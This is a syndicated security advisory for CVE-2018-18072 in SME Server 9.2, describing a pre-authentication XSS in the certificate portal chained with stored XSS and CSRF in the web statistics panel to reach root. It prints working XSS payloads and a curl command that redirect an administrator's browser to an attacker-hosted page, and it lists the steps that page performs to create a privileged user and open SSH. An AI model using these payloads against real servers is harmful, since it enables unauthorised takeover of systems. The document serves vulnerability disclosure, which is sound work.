SBN

SSD Advisory – SME Server Unauthenticated XSS To Privileged Remote Code Execution

Vulnerabilities Summary
The following advisory describes a vulnerability in SME Server 9.2, which lets an unauthenticated attackers perform XSS attack that leads to remote code execution as root. SME Server is a Linux distribution for small and medium enterprises by Koozali foundation.

CVE
CVE-2018-18072

Credit
An independent security researcher, Karn Ganeshen has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Affected systems
SME Server 9.2

Vendor Response
Fixed in phpki-0.82-17.el6.sme, phpki-0.82-18.el6.sme, phpki-0.82-19.el6.sme
Vulnerability Details
Software for the SME Server is packaged using RPM Package Manager (RPM) system. Existing packages from CentOS and other third-party developers are used. The SME Server uses packages from the open source community. Packages are called as contribs. Each contrib adds a specific functionality to the SME server  deployment. Once a contrib is installed, the corresponding Menu or web panel is added to the SME HTTP management portal. The default admin user has access to all contrib Menus. admin can create a new user and assign access of specific web panels (functionality) to the user. The user can, then, view, access and administer only those specific web panels.

The vulnerable components are the “Certificate Management” & “Advanced Web Statistics”, Which are vulnerable to Cross-Site Scripting & Cross-Site Request Forgery.
For the next demonstration , the Attackers IP is 192.168.1.2 and the SME Server IP 192.168.1.109.

The exploitation starts with the contrib – PHPKI – smeserver-phpki. This contrib provides a Certificate Management functionality. The administrator adds new certificates, which the users can download and set up in their browsers. The Certificate Management portal is accessible at https://<SME Server IP>/phpki/.
It should look like this:

All users can access this without any authentication. The portal provides a Search function where a user can search for existing certificates.

Exploit
1) Reflected XSS [Pre-Auth] https://192.168.1.109/phpki/search.php/”><script>alert(“xss-phpki”)</script> . We can now see that this component is vulnerable to XSS.

Now lets arm the payload: We will inject the following payload: “><script>document.location=”http://192.168.1.2/ssd.html”</script>
Issue the following request: curl ‘https://192.168.1.109/phpki/search.php/”><script>document.location=”http://192.168.1.2/ssd.html”</script>’ –insecure This payload is injected in the back-end (Stored-XSS) and used by another contrib, Awstats.
2) Start a web server on Attacker IP to serve our evil form – ssd.html

3) Stored XSS + Cross-Site Request Forgery The next step in exploitation, targets the web panel – Advanced Web Statistics 7.1 (build 1.983).  This contrib – smeserver-awstats.noarch – provides functionality to monitor web traffic to the  server. The following steps are from Admin point of view.

1+ Admin logs in
2+ Admin accesses Web Statistics -> Show -> Navigation (Full List – urldetail) This is the full list of all page urls accessed, which opens up – https://192.168.1.109/servermanager/cgi-bin/.awstats/awstats.pl config=mycompany.local&lang=auto&output=urldetail
3+ Admin clicks on the entry:

4+ This opens a new page about details on this entry.
5+ XSS Payload executes and fetches ssd.html from our server.

Now, on the attackers console:

The page that the victim will get is:

This Payload will:
1+ Add a new user, set password (user5/SSDpassword@12345)
2+ Assign various webpanel access to the new user
• remoteuseraccess
• viewlogfiles
• groups
• userpanelaccess
• userpanel-password
• userpanel-sshkeys
• userpanel-useraccounts
• userpanel-userbackup
3+ Reconfigure network filtering to open SSH/FTP access for all IP sources At this point, the attacker can log in with new user credentials, and has access to various webpanels (functionality) now.

4) Attacker adds shell configuration for this new user – user5 – as follows:
1+ Security -> User Remote Access -> ‘user5’ Modify -> Select ‘/bin/bash’ as Shell Access option –> Save.

2+ Attacker SSH in to the SME Server remotely:

3+ Attacker can execute commands as root using sudo.


*** This is a Security Bloggers Network syndicated blog from SecuriTeam Blogs authored by SSD / Ori Nimron. Read the original post at: https://blogs.securiteam.com/index.php/archives/3769